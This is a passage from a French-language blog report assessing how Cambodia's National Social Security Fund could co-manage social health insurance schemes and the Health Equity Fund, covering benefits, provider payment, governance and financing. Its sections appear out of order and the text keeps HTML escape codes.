ou de maternit\u00e9. L&#8217;ensemble des prestations m\u00e9dicales comprend tous les services disponibles dans les h\u00f4pitaux publics, \u00e0 l&#8217;exception des services suivants<\/p>\n<ul>\n<li>Services couverts par les programmes de sant\u00e9 verticaux ;<\/li>\n<li>Soins dentaires ;<\/li>\n<li>Op\u00e9rations de changement de sexe et soins ;<\/li>\n<li>Transplantations d&#8217;organes ;<\/li>\n<li>Ins\u00e9mination artificielle ;<\/li>\n<li>Autotraitement ;<\/li>\n<li>Chirurgie plastique ;<\/li>\n<li>Dispositifs de vision artificielle et chirurgie de la vision au laser ;<\/li>\n<li>Traitements de la toxicomanie ;<\/li>\n<li>Traitement de l&#8217;infertilit\u00e9 ;<\/li>\n<li>Chirurgie de l&#8217;implant oculaire ;<\/li>\n<li>Chirurgie coronarienne et cardiaque ;<\/li>\n<li>H\u00e9modialyse ;<\/li>\n<li>Bilans de sant\u00e9 g\u00e9n\u00e9raux.<\/li>\n<\/ul>\n<p>Le remboursement des frais de m\u00e9dicaments est limit\u00e9 aux produits pharmaceutiques figurant sur la liste des m\u00e9dicaments essentiels publi\u00e9e par le minist\u00e8re de la sant\u00e9.<\/p>\n<p>Les prestations m\u00e9dicales du r\u00e9gime du secteur public sont les m\u00eames que celles du secteur priv\u00e9 et font r\u00e9f\u00e9rence aux m\u00eames prakas.<\/p>\n<p>Pour le HEF, l&#8217;ensemble des prestations est d\u00e9fini dans les directives du minist\u00e8re de la sant\u00e9 relatives \u00e0 l&#8217;ensemble des prestations et au paiement des prestataires du Health Equity Fund for the Poor, 2018, et comprend les prestations m\u00e9dicales (en nature) et les allocations en esp\u00e8ces (remboursement des frais de transport, allocation de nourriture pendant l&#8217;admission et prestations fun\u00e9raires). L&#8217;ensemble des prestations m\u00e9dicales pour les patients de HEF comprend la gamme compl\u00e8te des services d\u00e9finis dans les lignes directrices de pratique clinique, en fonction du niveau de l&#8217;\u00e9tablissement. Tous les services fournis par les \u00e9tablissements de sant\u00e9 individuels sont disponibles gratuitement au point de prestation pour les b\u00e9n\u00e9ficiaires du FEH. Les services exclus sont les suivants<\/p>\n<ul>\n<li>S\u00e9lectionner les traitements contre le cancer ;<\/li>\n<li>Transplantations d&#8217;organes ;<\/li>\n<li>Chirurgie esth\u00e9tique visant \u00e0 am\u00e9liorer l&#8217;apparence d&#8217;une personne et\/ou \u00e0 faire dispara\u00eetre les traces de tatouages ;<\/li>\n<li>Traitements de l&#8217;infertilit\u00e9 ;<\/li>\n<li>M\u00e9dicaments ne figurant pas sur la liste des m\u00e9dicaments essentiels du minist\u00e8re de la sant\u00e9.<\/li>\n<\/ul>\n<p>Les diff\u00e9rences entre les deux listes d&#8217;exclusion sugg\u00e8rent que :<\/p>\n<ul>\n<li>La chimioth\u00e9rapie et la radioth\u00e9rapie sont couvertes par la CNSS mais pas par le FEH ;<\/li>\n<li>Le CNSS exclut explicitement les soins dentaires, la chirurgie oculaire, la chirurgie cardiaque et l&#8217;h\u00e9modialyse, alors que le FEH n&#8217;exclut pas explicitement ces services.<\/li>\n<\/ul>\n<p>Comme nous l&#8217;avons mentionn\u00e9, HEF applique un syst\u00e8me d&#8217;orientation strict, tandis que NSSF permet \u00e0 ses membres de se faire soigner dans l&#8217;\u00e9tablissement de leur choix, y compris dans les h\u00f4pitaux nationaux.<\/p>\n<p><strong><em>3.4 M\u00e9canismes de paiement des prestataires<\/em><\/strong><br \/>\nLe NSSF et le HEF utilisent tous deux des MPP bas\u00e9s sur les cas, mais les d\u00e9finitions des cas et les taux de remboursement diff\u00e8rent. La CNSS applique exactement les m\u00eames taux et d\u00e9finitions de cas aux branches du secteur priv\u00e9 et du secteur public. [&#8230;] Les d\u00e9finitions des cas et les montants associ\u00e9s varient consid\u00e9rablement entre les deux r\u00e9gimes. Pour un accouchement normal dans un h\u00f4pital national, le NSSF rembourse au prestataire 400 000 KHR par cas, contre 100 000 KHR pour le HEF. La NSSF a augment\u00e9 les taux de paiement des prestataires en ao\u00fbt 2017, apr\u00e8s avoir re\u00e7u des plaintes de la part d&#8217;\u00e9tablissements qui estimaient que les taux initiaux \u00e9taient trop bas. Cependant, ces augmentations ont \u00e9t\u00e9 introduites sans \u00e9valuation des co\u00fbts r\u00e9els des services.<\/p>\n<p>Le risque de surd\u00e9claration ne pouvant \u00eatre exclu, une certaine forme de v\u00e9rification est n\u00e9cessaire pour d\u00e9courager les comportements frauduleux des prestataires. La CNSS exige que toutes les demandes soient \u00e9tay\u00e9es par des dossiers m\u00e9dicaux pour chaque \u00e9pisode de maladie. Ils doivent \u00eatre certifi\u00e9s par le bureau local de la NSSF avant d&#8217;\u00eatre soumis au si\u00e8ge de la NSSF pour traitement et remboursement.<\/p>\n<p>La NSSF a cr\u00e9\u00e9 un comit\u00e9 sur le m\u00e9canisme de paiement des prestataires, compos\u00e9 de 15 membres, dont des membres de la NSSF (qui assure la pr\u00e9sidence du comit\u00e9), de l&#8217;Institut national de sant\u00e9 publique, du d\u00e9partement hospitalier du minist\u00e8re de la sant\u00e9 et d&#8217;un repr\u00e9sentant de l&#8217;h\u00f4pital public (actuellement, l&#8217;h\u00f4pital de Kossamak). Le secteur priv\u00e9 n&#8217;est pas formellement repr\u00e9sent\u00e9. Le comit\u00e9 approuve les taux propos\u00e9s pour le m\u00e9canisme de paiement des prestataires (MPP) avant de les soumettre \u00e0 l&#8217;approbation du conseil d&#8217;administration de la CNSS. Les membres du comit\u00e9 sont \u00e0 la fois des acheteurs et des fournisseurs, de sorte que toute n\u00e9gociation sur les taux de remboursement de la CNSS a lieu au sein de ce comit\u00e9.<\/p>\n<p><strong><em>3.5 Gestion simultan\u00e9e des r\u00e9gimes<\/em><\/strong><br \/>\nLa NSSF g\u00e8re actuellement le r\u00e9gime du secteur priv\u00e9, le r\u00e9gime du secteur public et le r\u00e9gime d&#8217;extension de la HEF. En ce qui concerne cette derni\u00e8re, la NSSF ne s&#8217;occupe que de l&#8217;enregistrement des membres, de la d\u00e9livrance des cartes de membre et du paiement des allocations de maternit\u00e9 aux femmes enceintes. Les prestations m\u00e9dicales dans le cadre du programme d&#8217;extension de HEF sont g\u00e9r\u00e9es directement par HEF.<\/p>\n<p>La gestion simultan\u00e9e des prestations m\u00e9dicales dans le cadre des branches SHI pour les secteurs priv\u00e9 et public ne pose pas de probl\u00e8mes majeurs \u00e0 la NSSF, car les deux r\u00e9gimes utilisent le m\u00eame ensemble de prestations et les m\u00eames taux de paiement des prestataires. Si le d\u00e9ploiement rapide du r\u00e9gime du secteur public a alourdi la charge de travail d\u00e9j\u00e0 importante, notamment en ce qui concerne le traitement des demandes, il n&#8217;a pas sembl\u00e9 poser d&#8217;autres probl\u00e8mes \u00e9tant donn\u00e9 que les processus de travail et les proc\u00e9dures op\u00e9rationnelles sont fondamentalement les m\u00eames et qu&#8217;ils sont g\u00e9r\u00e9s par les m\u00eames divisions.<\/p>\n<p>Les diff\u00e9rences op\u00e9rationnelles entre les deux r\u00e9gimes (priv\u00e9 et public) concernent principalement l&#8217;enregistrement et le recouvrement des cotisations. Les cotisations SHI de la branche du secteur public sont vers\u00e9es en masse directement par le MEF, et le processus d&#8217;enregistrement pour le secteur public a \u00e9t\u00e9 bas\u00e9 sur les donn\u00e9es des b\u00e9n\u00e9ficiaires fournies par le minist\u00e8re de la fonction publique (employ\u00e9s actifs) et le MOSVY (retrait\u00e9s et anciens combattants). Le taux de rotation du personnel \u00e9tant faible dans le secteur public, la mise \u00e0 jour de la base de donn\u00e9es des membres n&#8217;est pas un probl\u00e8me majeur.<\/p>\n<p>La gestion simultan\u00e9e de HEF peut s&#8217;av\u00e9rer plus difficile en raison de diff\u00e9rences dans certains aspects, principalement li\u00e9s \u00e0 l&#8217;ensemble des prestations et \u00e0 la GPP. Comme le FEH existe depuis de nombreuses ann\u00e9es, ses processus de travail sont d\u00e9j\u00e0 rationalis\u00e9s et il pourrait \u00eatre difficile de les harmoniser avec ceux de la CNSS. Une autre question possible est celle du transfert des responsabilit\u00e9s (politique de gouvernance, achats, financement, etc.) et de leur attribution \u00e0 des entit\u00e9s au sein de la NSSF.<\/p>\n<p>L&#8217;enregistrement des membres du HEF par le NSSF sur la base des donn\u00e9es incluses dans la base de donn\u00e9es IDPoor pourrait \u00eatre relativement simple (on peut supposer que l&#8217;IDPoor restera au MOP, puisqu&#8217;il a la capacit\u00e9 institutionnelle d&#8217;effectuer l&#8217;\u00e9valuation des moyens au niveau local. En outre, les donn\u00e9es sur les m\u00e9nages pauvres peuvent \u00eatre requises par d&#8217;autres minist\u00e8res de tutelle (par exemple, MOSVY) pour le ciblage d&#8217;autres prestations d&#8217;aide sociale).&nbsp;La NSSF pourrait imprimer des cartes de membre du FEH sur la base des donn\u00e9es fournies et les distribuer aux m\u00e9nages identifi\u00e9s par l&#8217;interm\u00e9diaire des d\u00e9partements MOP de chaque province. Par ailleurs, les m\u00e9nages membres du FEH pourraient \u00eatre tenus de retirer leur carte dans l&#8217;agence du NSSF la plus proche, o\u00f9 des informations biom\u00e9triques pourraient \u00e9galement \u00eatre collect\u00e9es. Toutefois, cette derni\u00e8re option peut imposer une charge financi\u00e8re aux m\u00e9nages pauvres.<\/p>\n<p><strong><em>3.6 Assurance qualit\u00e9<\/em><\/strong><br \/>\nLes \u00e9tablissements de soins publics fonctionnent sous l&#8217;autorit\u00e9 du minist\u00e8re de la sant\u00e9, le d\u00e9partement des services hospitaliers \u00e9tant charg\u00e9 de veiller \u00e0 la qualit\u00e9 des soins. Toutefois, en l&#8217;absence de dossiers de patients dans ces \u00e9tablissements, il est difficile de mesurer ou d&#8217;\u00e9valuer la qualit\u00e9 des soins prodigu\u00e9s aux patients.<\/p>\n<p>L&#8217;ensemble des prestations de la CNSS ne contient pas de d\u00e9tails sur la qualit\u00e9 des soins. La NSSF dispose d&#8217;un service d&#8217;assistance t\u00e9l\u00e9phonique pour traiter les demandes et les plaintes des membres, mais il est peu probable que ce service englobe les aspects techniques de la qualit\u00e9 du service. Lorsque la NSSF re\u00e7oit des plaintes de ses membres concernant les services de sant\u00e9, sa division des soins de sant\u00e9 contacte le minist\u00e8re de la sant\u00e9 pour enqu\u00eater sur le cas. Si le service d&#8217;assistance t\u00e9l\u00e9phonique garantit un certain niveau de responsabilit\u00e9 pour les prestataires sous contrat, il ne traite pas les questions techniques de qualit\u00e9 des soins de mani\u00e8re exhaustive.<\/p>\n<p>Le HEF adopte une approche plus proactive de la qualit\u00e9 des soins, dans le contexte plus large du H-EQIP, avec des interventions sp\u00e9cifiques visant \u00e0 promouvoir et \u00e0 contr\u00f4ler la qualit\u00e9 des services dans les \u00e9tablissements publics, notamment en utilisant les scores de qualit\u00e9 pour attribuer des incitations financi\u00e8res bas\u00e9es sur la performance (en plus des subventions globales vers\u00e9es \u00e0 tous les \u00e9tablissements publics, le gouvernement introduit \u00e9galement l&#8217;attribution de subventions de performance bas\u00e9es sur un syst\u00e8me d\u00e9taill\u00e9 de contr\u00f4le de la qualit\u00e9).<\/p>\n<p>L&#8217;assurance de la qualit\u00e9 est un probl\u00e8me majeur lors de la passation de contrats avec des prestataires priv\u00e9s, en raison de la faiblesse du cadre r\u00e9glementaire applicable aux \u00e9tablissements de sant\u00e9 priv\u00e9s et de l&#8217;absence d&#8217;un m\u00e9canisme d&#8217;accr\u00e9ditation officiel. Selon la r\u00e9glementation relative au paiement des prestataires par le NSSF (Prakas n\u00b0 173, MLVT), les taux de paiement des prestataires priv\u00e9s peuvent \u00eatre ajust\u00e9s en fonction des normes de qualit\u00e9 de l&#8217;\u00e9tablissement, telles qu&#8217;elles sont \u00e9valu\u00e9es par le NSSF. Toutefois, on ne sait pas si le NSSF a la capacit\u00e9 de traiter cette question de mani\u00e8re exhaustive.<\/p>\n<p><strong><em>3.7 Gouvernance<\/em><\/strong><br \/>\nLe NSSF est r\u00e9gi par un conseil d&#8217;administration tripartite, compos\u00e9 de repr\u00e9sentants des employeurs (f\u00e9d\u00e9rations d&#8217;employeurs), des employ\u00e9s (syndicats) et du gouvernement (MEF, MOH et MLVT, qui en assure la pr\u00e9sidence). La composition du conseil a \u00e9t\u00e9 \u00e9largie pour le r\u00e9gime du secteur public afin d&#8217;inclure \u00e9galement des repr\u00e9sentants du NSSF-C, du NFV et du Fonds pour les personnes handicap\u00e9es (PWDF). Le r\u00f4le du conseil d&#8217;administration est de superviser les op\u00e9rations de la NSSF et d&#8217;approuver les d\u00e9cisions propos\u00e9es par le directeur ex\u00e9cutif, en particulier en ce qui concerne les questions financi\u00e8res. Le conseil d&#8217;administration se r\u00e9unit tous les mois et ne prend que les d\u00e9cisions importantes (par exemple, les plans annuels de budget de fonctionnement).<\/p>\n<p>Les questions techniques sont trait\u00e9es par la direction ex\u00e9cutive de la CNSS, y compris les directeurs des diff\u00e9rentes divisions de la CNSS (politique, enregistrement, prestations, soins de sant\u00e9, comptabilit\u00e9\/finances, informatique, etc.) Les d\u00e9cisions en mati\u00e8re de SHI rel\u00e8vent principalement de l&#8217;autorit\u00e9 du directeur de la division des soins de sant\u00e9. Pour les questions relatives aux taux de paiement des prestataires, la NSSF a cr\u00e9\u00e9 un comit\u00e9 sur les m\u00e9canismes de paiement des prestataires, compos\u00e9 de 15 membres de la NSSF (qui en assure la pr\u00e9sidence), de l&#8217;Institut national de sant\u00e9 publique, du d\u00e9partement des services hospitaliers du minist\u00e8re de la sant\u00e9 et de repr\u00e9sentants d&#8217;h\u00f4pitaux publics (h\u00f4pital Kossamak, etc.). Le comit\u00e9 se met d&#8217;accord sur les taux de paiement propos\u00e9s avant de les soumettre \u00e0 l&#8217;approbation du conseil d&#8217;administration de la NSSF. Il convient de noter (&nbsp;) que les membres du comit\u00e9 ne sont pas n\u00e9cessairement exempts de conflits d&#8217;int\u00e9r\u00eats, puisqu&#8217;ils sont \u00e9galement des acheteurs et des fournisseurs.<\/p>\n<p>Pour le HEF, l&#8217;autorit\u00e9 de gouvernance repose en principe sur les comit\u00e9s de pilotage du financement de la sant\u00e9 (HFSC) \u00e9tablis au niveau des provinces et des districts, qui sont pr\u00e9sid\u00e9s par les vice-gouverneurs de ces r\u00e9gions. \u00c0 Phnom Penh, le HFSC est le point de r\u00e9f\u00e9rence final pour toute d\u00e9cision ou probl\u00e8me qui ne peut \u00eatre r\u00e9solu \u00e0 un niveau inf\u00e9rieur. Le HEF est plac\u00e9 sous l&#8217;autorit\u00e9 ex\u00e9cutive du minist\u00e8re de la sant\u00e9, o\u00f9 l&#8217;autorit\u00e9 est partag\u00e9e entre le d\u00e9partement de la planification et de l&#8217;information sur la sant\u00e9 (DPHI), qui est charg\u00e9 de l&#8217;ensemble des prestations et du PPM, et le d\u00e9partement du budget et des finances, qui s&#8217;occupe des questions financi\u00e8res. Une APC semi-autonome a \u00e9t\u00e9 mise en place pour v\u00e9rifier et auditer les demandes de remboursement re\u00e7ues de tous les \u00e9tablissements publics de soins de sant\u00e9.<\/p>\n<p>Le Conseil national de la protection sociale (NSPC) a \u00e9t\u00e9 cr\u00e9\u00e9 en 2017 et devrait assumer le r\u00f4le d&#8217;organe de gouvernance global pour le syst\u00e8me de protection sociale, afin de superviser l&#8217;\u00e9laboration et la mise en \u0153uvre des politiques. Le NSPC est pr\u00e9sid\u00e9 par le MEF et comprend les ministres des minist\u00e8res de tutelle concern\u00e9s (notamment le MOSVY, le MLVT, le MOH, le Conseil pour le d\u00e9veloppement agricole et rural (CARD), le minist\u00e8re de l&#8217;\u00c9ducation, de la Jeunesse et des Sports (MOEYS), et d&#8217;autres) (Arr\u00eat\u00e9 royal sur la cr\u00e9ation du Conseil national de la protection sociale (2017).&nbsp;Un comit\u00e9 ex\u00e9cutif, faisant office de secr\u00e9tariat de la CNPS, a \u00e9galement \u00e9t\u00e9 cr\u00e9\u00e9 en 2017 et se r\u00e9unit r\u00e9guli\u00e8rement pour discuter des questions de politique de protection sociale.<\/p>\n<p>Conform\u00e9ment au sous-d\u00e9cret correspondant, la CNPS mettra en place des comit\u00e9s techniques, des sous-comit\u00e9s et des groupes de travail techniques suppl\u00e9mentaires pour traiter les aspects techniques de la formulation de la politique et du suivi de sa mise en \u0153uvre. La gouvernance de la politique d&#8217;achat strat\u00e9gique au niveau national rel\u00e8verait normalement de l&#8217;autorit\u00e9 du sous-comit\u00e9 comp\u00e9tent du NSPC, mais on ne sait pas encore si et quand un tel comit\u00e9 sera cr\u00e9\u00e9.<\/p>\n<p><strong><em>3.8 Financement<\/em><\/strong><br \/>\nLe NSSF est un r\u00e9gime d&#8217;assurance sociale obligatoire financ\u00e9 par des cotisations salariales pr\u00e9lev\u00e9es \u00e0 la source (c&#8217;est-\u00e0-dire aupr\u00e8s des employeurs). Le taux de cotisation \u00e0 la SHI est fix\u00e9 \u00e0 2,6 % de la r\u00e9mun\u00e9ration assurable pour couvrir les prestations m\u00e9dicales et de remplacement du revenu en cas d&#8217;absence du travail pour cause de maladie ou de maternit\u00e9. En 2017, les recettes des cotisations de la branche SHI du secteur priv\u00e9 se sont \u00e9lev\u00e9es \u00e0 38,7 millions USD, tandis que les d\u00e9penses totales des prestations se sont \u00e9lev\u00e9es \u00e0 6,6 millions USD, dont 3,6 millions USD pour les soins m\u00e9dicaux. Les d\u00e9penses de soins m\u00e9dicaux par habitant n&#8217;\u00e9taient que de 3,05 USD en 2017, mais elles devraient augmenter en raison de la hausse de l&#8217;utilisation.<\/p>\n<p>Le taux de cotisation au r\u00e9gime SHI du secteur public est fix\u00e9 \u00e0 1,0 % des co\u00fbts salariaux du secteur public et ne couvre que les prestations m\u00e9dicales. Les cotisations des retrait\u00e9s et des anciens combattants sont enti\u00e8rement subventionn\u00e9es par le gouvernement.<\/p>\n<p>HEF est un syst\u00e8me de protection sociale de la sant\u00e9 non contributif financ\u00e9 conjointement par la RGC et les partenaires de d\u00e9veloppement. Le HEF est soutenu techniquement par le H-EQIP (de 2016 \u00e0 2021) et financ\u00e9 par la RGC (95 millions USD) avec le soutien de la KfW, de la Banque mondiale, du DFAT et de la KOICA. Actuellement, ces partenaires de d\u00e9veloppement contribuent \u00e0 hauteur de 6 millions USD environ au HEF chaque ann\u00e9e. En 2017, les d\u00e9penses de prestations m\u00e9dicales au titre du HEF se sont \u00e9lev\u00e9es \u00e0 6,5 millions USD, soit environ 2,60 USD par personne et par an (chiffres rapport\u00e9s par Keo Lundy, consultant de la GIZ ; voir Implementation Status Analysis, Social Health Protection (2018). Les donn\u00e9es officielles sur le HEF n&#8217;ont pas pu \u00eatre mises \u00e0 disposition.).<\/p>\n<p>La NSPPF sugg\u00e8re la mise en place d&#8217;une caisse d&#8217;assurance maladie unique pour tous les r\u00e9gimes d&#8217;assurance maladie, permettant des subventions crois\u00e9es entre les diff\u00e9rents groupes de population (secteur formel, pauvres, travailleurs informels, etc.).<\/p>\n<h3>1. Contexte et objectifs<\/h3>\n<p>Ce blog pr\u00e9sente les r\u00e9sultats d&#8217;une \u00e9valuation de la cogestion de diff\u00e9rents r\u00e9gimes d&#8217;assurance maladie sociale (AMS) par la Caisse nationale de s\u00e9curit\u00e9 sociale (CNSS) du Cambodge, en mettant l&#8217;accent sur l&#8217;achat strat\u00e9gique de services de sant\u00e9 aupr\u00e8s de prestataires publics et priv\u00e9s au Cambodge. L&#8217;\u00e9valuation a \u00e9t\u00e9 men\u00e9e entre janvier et mars 2019 dans le cadre du r\u00f4le de la Deutsche Gesellschaft f\u00fcr Internationale Zusammenarbeit (GIZ) en tant que centre collaborateur de l&#8217;Organisation mondiale de la sant\u00e9 (OMS) pour le renforcement des syst\u00e8mes de sant\u00e9 et le financement de la sant\u00e9 pour la couverture sanitaire universelle (CSU). Toutes les informations ont \u00e9t\u00e9 obtenues par le biais d&#8217;entretiens avec des informateurs cl\u00e9s et d&#8217;un examen de la documentation pertinente.<\/p>\n<p>L&#8217;objectif de cette \u00e9tude est de fournir des recommandations sur les approches qui permettront une transition en douceur de l&#8217;autorit\u00e9 de gestion des fonds d&#8217;\u00e9quit\u00e9 en sant\u00e9 (HEF) du minist\u00e8re de la Sant\u00e9 (MOH) au NSSF, comme envisag\u00e9 dans le cadre de planification de la s\u00e9curit\u00e9 sociale nationale (2016-25).<\/p>\n<h3>2. Le contexte<\/h3>\n<p><strong><em>2.1 L&#8217;assurance maladie sociale<\/em><\/strong><br \/>\nLe NSSF a \u00e9t\u00e9 cr\u00e9\u00e9 en 2008 sur la base des dispositions de la loi sur la s\u00e9curit\u00e9 sociale adopt\u00e9e par l&#8217;Assembl\u00e9e nationale en 2002. Le r\u00e9gime a commenc\u00e9 \u00e0 fournir des prestations en cas d&#8217;accident du travail et de maladie professionnelle aux travailleurs du secteur priv\u00e9 en 2009, et une branche d&#8217;assurance maladie sociale (SHI) est envisag\u00e9e depuis 2010. En 2013, un r\u00e8glement minist\u00e9riel (prakas en khmer) a \u00e9t\u00e9 adopt\u00e9, stipulant la cr\u00e9ation de la Division de l&#8217;assurance maladie de la CNSS. En janvier 2016, le Conseil des ministres a adopt\u00e9 un sous-d\u00e9cret stipulant la cr\u00e9ation d&#8217;une branche d&#8217;assurance maladie de la NSSF, qui a ensuite \u00e9t\u00e9 lanc\u00e9e en octobre 2016 (sous-d\u00e9cret sur la &#8220;cr\u00e9ation et la mise en \u0153uvre d&#8217;un r\u00e9gime d&#8217;assurance maladie pour les personnes d\u00e9finies par les dispositions du droit du travail&#8221;). Dans le cadre de ce r\u00e9gime, les prestations pr\u00e9vues pour les travailleurs du secteur priv\u00e9 formel comprennent \u00e0 la fois des prestations m\u00e9dicales (en nature) et des prestations de remplacement du revenu (en esp\u00e8ces) payables en cas d&#8217;absence du travail pour cause de maternit\u00e9 ou de maladie.<\/p>\n<p>En 2017, le gouvernement royal du Cambodge a adopt\u00e9 un d\u00e9cret royal sur l&#8217;introduction de prestations d&#8217;assurance contre les accidents du travail et de SHI pour les employ\u00e9s du secteur public, qui couvrait \u00e9galement les fonctionnaires retrait\u00e9s et les anciens combattants, mais pas les personnes \u00e0 leur charge. En vertu de ce d\u00e9cret, le NSSF a \u00e9t\u00e9 charg\u00e9 d&#8217;administrer le r\u00e9gime SHI du secteur public en plus du r\u00e9gime des employ\u00e9s du secteur priv\u00e9. La SHI pour le secteur public a \u00e9t\u00e9 lanc\u00e9e au niveau national en janvier 2018. Le r\u00e9gime est financ\u00e9 par des cotisations salariales vers\u00e9es par le gouvernement et fix\u00e9es (par prakas) \u00e0 1 % des salaires des employ\u00e9s du secteur public.<\/p>\n<p><strong><em>2.2 Fonds d&#8217;\u00e9quit\u00e9 en mati\u00e8re de sant\u00e9<\/em><\/strong><br \/>\nLes fonds d&#8217;\u00e9quit\u00e9 en mati\u00e8re de sant\u00e9 (HEF) sont des r\u00e9gimes de protection sociale de la sant\u00e9 non contributifs qui remboursent aux prestataires les frais encourus par les personnes d\u00e9munies qui recherchent des services dans les \u00e9tablissements de sant\u00e9 publics. Elles visent \u00e9galement \u00e0 r\u00e9duire les co\u00fbts directs non m\u00e9dicaux de la demande de soins en fournissant des allocations alimentaires et en remboursant les frais de transport des b\u00e9n\u00e9ficiaires hospitalis\u00e9s et des personnes qui s&#8217;occupent d&#8217;eux. Les HEF ont d&#8217;abord \u00e9t\u00e9 pilot\u00e9s par des partenaires de d\u00e9veloppement, principalement des ONG, mais ont \u00e9t\u00e9 consolid\u00e9s, institutionnalis\u00e9s et \u00e9tendus \u00e0 l&#8217;\u00e9chelle nationale depuis 2015. Le programme national HEF est g\u00e9r\u00e9 par le minist\u00e8re de la sant\u00e9 et soutenu techniquement et financi\u00e8rement par le programme d&#8217;am\u00e9lioration de la qualit\u00e9 et de l&#8217;\u00e9quit\u00e9 en mati\u00e8re de sant\u00e9 (H-EQIP, 2016 &#8211; 2021), qui est financ\u00e9 conjointement par le RGC (95 millions USD), la banque de d\u00e9veloppement allemande KfW, la Banque mondiale, le minist\u00e8re australien des affaires \u00e9trang\u00e8res et du commerce (DFAT) et l&#8217;Agence cor\u00e9enne de coop\u00e9ration internationale (KOICA). HEF couvre environ 2,5 millions de personnes au Cambodge. Les b\u00e9n\u00e9ficiaires sont identifi\u00e9s par le biais d&#8217;un exercice national sous l&#8217;\u00e9gide du minist\u00e8re de la planification (MOP), en utilisant des tests de moyens par procuration bas\u00e9s sur la communaut\u00e9 \u00e0 des intervalles de trois ans.<\/p>\n<p>En outre, les h\u00f4pitaux proposent des examens de post-identification afin d&#8217;identifier les personnes qualifi\u00e9es qui n&#8217;ont pas \u00e9t\u00e9 identifi\u00e9es au cours du processus de pr\u00e9-identification. Les allocations alimentaires et les remboursements de transport ne concernent que les b\u00e9n\u00e9ficiaires admis dans les services d&#8217;hospitalisation (IPD) qui ont \u00e9t\u00e9 r\u00e9f\u00e9r\u00e9s par un centre de sant\u00e9 public, ou admis directement en cas d&#8217;accouchement ou d&#8217;urgence. Alors que le HEF se concentre sur les m\u00e9nages pauvres, la couverture d&#8217;autres m\u00e9nages vuln\u00e9rables, tels que les personnes \u00e2g\u00e9es, les personnes handicap\u00e9es et les enfants de moins de cinq ans, est actuellement \u00e0 l&#8217;\u00e9tude.<\/p>\n<p>En 2016, une agence de certification des paiements par des tiers (PCA) a \u00e9t\u00e9 cr\u00e9\u00e9e pour certifier les demandes de remboursement soumises \u00e0 HEF par les fournisseurs et pour garantir la responsabilit\u00e9 financi\u00e8re.<\/p>\n<p>L&#8217;organisation actuelle du syst\u00e8me national de protection de la sant\u00e9 est illustr\u00e9e par la figure 1. [&#8230;]<\/p>\n<h3>4. Potentiel d&#8217;achat strat\u00e9gique dans le cadre des dispositions actuelles<\/h3>\n<p>Cette \u00e9valuation utilise la d\u00e9finition de l&#8217;achat strat\u00e9gique propos\u00e9e par Klasa et al. (2019) : &#8220;Pour que l&#8217;achat soit strat\u00e9gique, les acheteurs doivent int\u00e9grer des questions telles que les besoins de la population, la qualit\u00e9, les donn\u00e9es probantes, l&#8217;efficacit\u00e9 et le souci de l&#8217;\u00e9quit\u00e9 et de la sant\u00e9 de la population. L&#8217;achat strat\u00e9gique impose des exigences \u00e0 toutes les diff\u00e9rentes composantes de la fonction d&#8217;achat, y compris les citoyens, les acheteurs, les prestataires, les r\u00e9gulateurs et les gouvernements&#8221; (Klasa et al., 2018). Les achats strat\u00e9giques dans la pratique : Comparaison de dix pays europ\u00e9ens. Health Policy, 122 : 457-72.). En d&#8217;autres termes, &#8220;les achats strat\u00e9giques impliquent une recherche permanente des meilleurs moyens de maximiser les performances du syst\u00e8me de sant\u00e9 en d\u00e9cidant quelles interventions doivent \u00eatre achet\u00e9es, comment et aupr\u00e8s de qui&#8221; (Rapport sur la sant\u00e9 dans le monde, Gen\u00e8ve (2000)).<\/p>\n<p>Mathauer, Dale et Meessen (2017) ont identifi\u00e9 cinq th\u00e8mes essentiels aux achats strat\u00e9giques dans un pays, qui sont d\u00e9taill\u00e9s dans les sous-sections ci-dessous (Mathauer I, Dale E, Meessen B., 2017, Strategic purchasing for universal health coverage : key policy issues and questions. Un r\u00e9sum\u00e9 des discussions d&#8217;experts et de praticiens. Gen\u00e8ve : Organisation mondiale de la sant\u00e9).<\/p>\n<p><strong><em>4.1 Dispositions en mati\u00e8re de gouvernance<\/em><\/strong><br \/>\nLes dispositions en mati\u00e8re de gouvernance consistent \u00e0 &#8220;veiller \u00e0 ce que des cadres politiques strat\u00e9giques existent et soient associ\u00e9s \u00e0 une surveillance efficace, \u00e0 la formation de coalitions, \u00e0 la r\u00e9glementation, \u00e0 l&#8217;attention port\u00e9e \u00e0 la conception des syst\u00e8mes et \u00e0 la responsabilit\u00e9&#8221;.<\/p>\n<p>La gouvernance est assur\u00e9e par le NSPC, qui a m\u00fbri depuis sa cr\u00e9ation r\u00e9cente. La NSPPF d\u00e9crit les dispositions relatives \u00e0 un acheteur unique dans le cadre de la NSSF. La loi sur la s\u00e9curit\u00e9 sociale r\u00e9cemment adopt\u00e9e, principalement formul\u00e9e par la MLVT &#8211; \u00e0 laquelle le NSSF est rattach\u00e9 &#8211; ne mentionne pas le HEF, ce qui laisse planer le doute sur le fonctionnement de cet acheteur unique. Le secteur priv\u00e9 des soins de sant\u00e9 n&#8217;a pas d&#8217;organe repr\u00e9sentatif, ce qui rend la communication difficile. En dehors de l&#8217;enregistrement, les pratiques de ce secteur sont peu contr\u00f4l\u00e9es.<\/p>\n<p><strong><em>4.2 Gestion de l&#8217;information<\/em><\/strong><br \/>\nLa gestion de l&#8217;information implique que &#8220;les fonds vers\u00e9s aux prestataires sont bas\u00e9s sur des informations relatives aux performances ou aux besoins de sant\u00e9 de la population&#8221;.<\/p>\n<p>Dans ce cas, les deux r\u00e9gimes ont des syst\u00e8mes de collecte d&#8217;informations parall\u00e8les. Le NSSF a mis en place un syst\u00e8me informatique dont la port\u00e9e et les capacit\u00e9s sont limit\u00e9es. Pour HEF, les informations sont collect\u00e9es par l&#8217;ACP semi-autonome par le biais du PMRS, qui est op\u00e9rationnel dans tous les \u00e9tablissements de soins de sant\u00e9 publics. Seules des informations sur les services fournis sont collect\u00e9es, et les informations disponibles ne permettent pas d&#8217;\u00e9valuer la qualit\u00e9 des soins.<\/p>\n<p>Des directives de traitement standard sont en place, mais il n&#8217;existe pas de m\u00e9canismes permettant de v\u00e9rifier leur application. Ces deux syst\u00e8mes ne favorisent ni l&#8217;efficacit\u00e9 ni la qualit\u00e9 des soins. Les dossiers des patients, qui permettraient de v\u00e9rifier les services de sant\u00e9 fournis, ne sont pas en place et les services ne peuvent donc pas \u00eatre achet\u00e9s conform\u00e9ment \u00e0 des normes de soins pr\u00e9d\u00e9finies. Le syst\u00e8me de v\u00e9rification consiste plut\u00f4t \u00e0 minimiser la fraude en interrogeant un nombre pr\u00e9d\u00e9termin\u00e9 de b\u00e9n\u00e9ficiaires pour leur demander s&#8217;ils ont 